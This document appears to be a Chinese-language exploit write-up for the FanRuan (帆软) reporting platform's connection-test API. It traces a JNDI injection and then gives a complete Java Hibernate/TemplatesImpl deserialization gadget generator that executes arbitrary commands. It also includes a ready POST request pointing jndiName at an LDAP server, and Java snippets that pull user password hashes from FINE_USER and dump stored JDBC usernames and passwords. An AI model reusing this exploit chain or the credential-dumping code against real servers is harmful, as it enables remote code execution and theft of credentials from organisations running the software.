0x01 jndi连接
com.fr.web.controller.decision.api.config.ConnectionsResource#testConnectionData

前端获取传参数,调用ConnectionService.getInstance().testConnection
com.fr.decision.webservice.v10.datasource.connection.ConnectionService#testConnection

com.fr.decision.webservice.v10.datasource.connection.processor.impl.ConnectionProcessorFactory#testConnectionWithSchemaReturn

创建一个迭代器,然后获取connectionType的类型,然后继续调用convertToConnection

根据类型选择实现,这里选择jndi,然后看实现
com.fr.decision.webservice.v10.datasource.connection.processor.impl.JNDIConnectionProcessor#convertToConnection

可以看见,把传入bean序列化下,然后赋值,然后进行连接。
其中最主要的几十
这个map我们可控,没有检查。所以我们可控java.naming.factory.initial, 直接进行jndi攻击。
0x02。复现
帆软使用的是高版本jdk,需要绕过。我们知道jndi是采用序列化进行通信,所以我们可以直接返回恶意的反序列化流,造成命令执行。
我们知道帆软存在Hibernate
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95
| package test;
import com.fr.third.javassist.ClassPool; import com.fr.third.javassist.CtClass; import com.fr.third.org.hibernate.type.ComponentType; import com.fr.third.org.hibernate.engine.spi.TypedValue; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import sun.reflect.ReflectionFactory;
import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Array; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.HashMap;
public class HibernateWhithFanruan {
public static byte[] getpayload(byte[] bytes) throws Exception { TemplatesImpl templates = getTeml(bytes);
Class clazz = Class.forName("com.fr.third.org.hibernate.tuple.component.PojoComponentTuplizer"); Constructor constructor = Object.class.getDeclaredConstructor(); constructor.setAccessible(true); Constructor pojoct = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(clazz, constructor); pojoct.setAccessible(true); Object pojoCT = pojoct.newInstance();
Class clazz1 = Class.forName("com.fr.third.org.hibernate.tuple.component.AbstractComponentTuplizer"); Class clazz4 = Class.forName("com.fr.third.org.hibernate.property.access.spi.GetterMethodImpl"); Constructor constructor4 = clazz4.getDeclaredConstructor(Class.class, String.class, Method.class); Object getter = constructor4.newInstance(templates.getClass(), "outputProperties", templates.getClass().getMethod("getOutputProperties")); Object getters = Array.newInstance(getter.getClass(), 1); Array.set(getters, 0, getter); Field f = clazz1.getDeclaredField("getters"); f.setAccessible(true); f.set(pojoCT, getters);
Class clazz3 = Class.forName("com.fr.third.org.hibernate.type.ComponentType"); Constructor constructor2 = Object.class.getDeclaredConstructor(); constructor2.setAccessible(true); Constructor constructor3 = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(clazz3, constructor2); ComponentType componentType = (ComponentType) constructor3.newInstance(); TypedValue typedValue = new TypedValue(componentType, null); utils.setFieldValue(componentType, "componentTuplizer", pojoCT);
utils.setFieldValue(componentType, "propertySpan", 1);
HashMap<Object, String> map = new HashMap<>(); map.put(typedValue, "1jzz"); utils.setFieldValue(typedValue, "value", templates);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutput = new ObjectOutputStream(byteArrayOutputStream); objectOutput.writeObject(map); byte[] data = byteArrayOutputStream.toByteArray(); return data;
}
public static byte[] javasistcmd(String classname,String cmd) throws Exception{ ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass(classname); ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName())); ctClass.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\""+cmd+"\");"); byte[] bytecode = ctClass.toBytecode(); return bytecode; } public static TemplatesImpl getTeml(byte[] bytes) throws Exception { TemplatesImpl templates = TemplatesImpl.class.newInstance(); utils.setFieldValue(templates,"_name","moresec"+System.nanoTime()); utils.setFieldValue(templates,"_class",null); utils.setFieldValue(templates,"_tfactory",new TransformerFactoryImpl()); utils.setFieldValue(templates,"_bytecodes",new byte[][]{bytes}); return templates; }
public static void main(String[] args) throws Exception { byte[] javasistcmd = javasistcmd("calc","open -a Calculator.app"); byte[] bytes = HibernateWhithFanruan.getpayload(javasistcmd); java.io.FileOutputStream fileOutputStream = new java.io.FileOutputStream("calc.ser"); fileOutputStream.write(bytes); fileOutputStream.close(); } }
|
生成恶意字节码数据。我们只需要传入要加载的字节码就可以生成poc.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| POST /webroot/decision/v10/config/connection/test HTTP/1.1 Host: 127.0.0.1:8075 Referer: http://127.0.0.1:8075/webroot/decision content-type: application/json accept: application/json, text/javascript, */*; q=0.01 Accept-Language: zh-CN,zh;q=0.9 x-requested-with: XMLHttpRequest transencryptlevel: 1 Sec-Fetch-Site: same-origin sec-ch-ua-platform: "macOS" User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Accept-Encoding: gzip, deflate, br, zstd sec-ch-ua: "Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24" Sec-Fetch-Dest: empty sec-ch-ua-mobile: ?0 Origin: http://127.0.0.1:8075 Cookie: JSESSIONID=50F25E02A74741F66FE7618DC407D32E; tenantId=default; fine_remember_login=-1; last_login_info=true; fine_auth_token=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJhZG1pbiIsInRlbmFudElkIjoiZGVmYXVsdCIsImlzcyI6ImZhbnJ1YW4iLCJkZXNjcmlwdGlvbiI6ImFkbWluKGFkbWluKSIsImV4cCI6MTczNjc2ODU5NSwiaWF0IjoxNzM0NjA5NzM0LCJqdGkiOiJDUFhkODYyeXRiZlZGanBHWGVxYnNSU2xIODkvNTBVaS93YUVXdC8wQy9YNEJrSGQifQ.H8_tfvKeDd8HGnIrhbMl_VW7McjPxTGV6sKCNHkEEGM authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJhZG1pbiIsInRlbmFudElkIjoiZGVmYXVsdCIsImlzcyI6ImZhbnJ1YW4iLCJkZXNjcmlwdGlvbiI6ImFkbWluKGFkbWluKSIsImV4cCI6MTczNjc2ODU5NSwiaWF0IjoxNzM0NjA5NzM0LCJqdGkiOiJDUFhkODYyeXRiZlZGanBHWGVxYnNSU2xIODkvNTBVaS93YUVXdC8wQy9YNEJrSGQifQ.H8_tfvKeDd8HGnIrhbMl_VW7McjPxTGV6sKCNHkEEGM Content-Length: 383
{"connectionId":"","connectionName":"","connectionType":"jndi","connectionData":"{\"jndiName\":\"ldap://127.0.0.1:80/Object\",\"originalCharsetName\":\"\",\"newCharsetName\":\"\",\"contextHashtable\":{\"java.naming.factory.initial\":\"com.sun.jndi.ldap.LdapCtxFactory\",\"java.naming.provider.url\":\"ldap://127.0.0.1:80\"},\"creator\":\"admin\"}"}
|
查询sql(不要密码)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| java.lang.String encsql = com.fr.security.SecurityToolbox.aesEncrypt("select USERNAME,PASSWORD from FINE_USER", com.fr.decision.webservice.v10.system.SystemService.getInstance().getSystemInfo().get("frontSeed").toString()); com.fr.base.TableData var4 = com.fr.decision.webservice.v10.datasource.dataset.processor.impl.DataSetProcessorFactory.getTableDataSet("sql", "{\"database\":\"hsqldb\",\"query\":\""+encsql+"\",\"parameters\":[]}"); com.fr.data.impl.EmbeddedTableData var11 =com.fr.data.operator.DataOperator.getInstance().previewTableData(var4, null, 200); com.fr.decision.webservice.v10.datasource.dataset.ServerDataSetService sqlservice = new com.fr.decision.webservice.v10.datasource.dataset.ServerDataSetService(); java.lang.reflect.Method method = sqlservice.getClass().getDeclaredMethod("createPreviewResult", com.fr.data.impl.EmbeddedTableData.class); method.setAccessible(true); com.fr.decision.webservice.bean.dataset.PreviewResultBean result = (com.fr.decision.webservice.bean.dataset.PreviewResultBean) method.invoke(sqlservice, var11); java.util.ArrayList sqlResult =(java.util.ArrayList) result.getRows();
java.util.Map sqlmap = com.fr.file.ConnectionConfig.getInstance().getConnectionsWithoutCheck(); java.util.Iterator var3 = sqlmap.keySet().iterator(); java.util.HashMap map = new java.util.HashMap(); while(var3.hasNext()) { java.lang.Object key = var3.next(); com.fr.data.impl.JDBCDatabaseConnection var5 = (com.fr.data.impl.JDBCDatabaseConnection) sqlmap.get(key); java.lang.String var6 = var5.getUser()+":"+var5.getPassword(); map.put( var5.getURL(),var6); } return map;
java.lang.String encsql = com.fr.security.SecurityToolbox.aesEncrypt("select USERNAME,PASSWORD from FINE_USER", com.fr.decision.webservice.v10.system.SystemService.getInstance().getSystemInfo().get("frontSeed").toString()); com.fr.base.TableData var4 = com.fr.decision.webservice.v10.datasource.dataset.processor.impl.DataSetProcessorFactory.getTableDataSet("sql", "{\"database\":\"hsqldb\",\"query\":\""+encsql+"\",\"parameters\":[]}"); com.fr.file.ConnectionConfig.getInstance().getConnectionsWithoutCheck()
|
查看sql lib路径
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| POST /webroot/decision/v10/config/connection/driver/path HTTP/1.1 Host: 127.0.0.1:8075 content-type: application/json authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJhZG1pbiIsInRlbmFudElkIjoiZGVmYXVsdCIsImlzcyI6ImZhbnJ1YW4iLCJkZXNjcmlwdGlvbiI6ImFkbWluKGFkbWluKSIsImV4cCI6MTczNjc2MTQ0OCwiaWF0IjoxNzM0NjAxNDQ4LCJqdGkiOiJ3L0ZxN2pOWldtb3J2d2RyajBReU1zSW40SzVSSWZ3S3F4c0EvSkZQM1h1bm9xbW8ifQ.7-G3Y1CzRwl4DP079uY8KllAJfofbL0ri0aOMaBfzmU sec-ch-ua-mobile: ?0 accept: application/json, text/plain, */* Referer: http://127.0.0.1:8075/webroot/decision User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Accept-Language: zh-CN,zh;q=0.9 Cookie: tenantId=default; fine_remember_login=-1; fine_auth_token=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJhZG1pbiIsInRlbmFudElkIjoiZGVmYXVsdCIsImlzcyI6ImZhbnJ1YW4iLCJkZXNjcmlwdGlvbiI6ImFkbWluKGFkbWluKSIsImV4cCI6MTczNjc2MTQ0OCwiaWF0IjoxNzM0NjAxNDQ4LCJqdGkiOiJ3L0ZxN2pOWldtb3J2d2RyajBReU1zSW40SzVSSWZ3S3F4c0EvSkZQM1h1bm9xbW8ifQ.7-G3Y1CzRwl4DP079uY8KllAJfofbL0ri0aOMaBfzmU sec-ch-ua: "Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24" Sec-Fetch-Site: same-origin Accept-Encoding: gzip, deflate, br, zstd x-requested-with: XMLHttpRequest Origin: http://127.0.0.1:8075 Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty sec-ch-ua-platform: "macOS" fdl-encrypt: plaintext Content-Length: 45
{"connectionData":"{\"driver\":\"org.sqlite.JDBC\",\"connectionPoolAttr\":{}}","connectionType":"jdbc"}
|